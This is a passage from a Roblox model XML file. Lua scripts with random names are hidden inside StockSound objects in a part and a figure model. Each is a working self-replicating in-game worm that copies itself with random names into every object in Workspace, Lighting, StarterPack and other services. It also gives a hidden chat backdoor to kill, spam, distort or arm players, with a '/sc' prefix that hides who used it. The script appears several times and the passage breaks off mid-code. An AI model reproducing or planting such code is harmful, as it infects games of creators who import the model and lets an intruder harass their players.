fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX438">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-24.5</X>
							<Y>3.4000001</Y>
							<Z>109.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX439">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">0563vk2</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX440">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">tyo9</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX441">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX442</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX442">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-28.0707607</X>
								<Y>4.82225418</Y>
								<Z>139.465897</Z>
								<R00>-0.538089991</R00>
								<R01>2.00345858e-006</R01>
								<R02>0.842887282</R02>
								<R10>2.63803122e-006</R10>
								<R11>1</R11>
								<R12>-6.92809181e-007</R12>
								<R20>-0.842887282</R20>
								<R21>1.85076931e-006</R21>
								<R22>-0.538089991</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX443">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX444">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">lyquo7</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX445">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">xfie</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
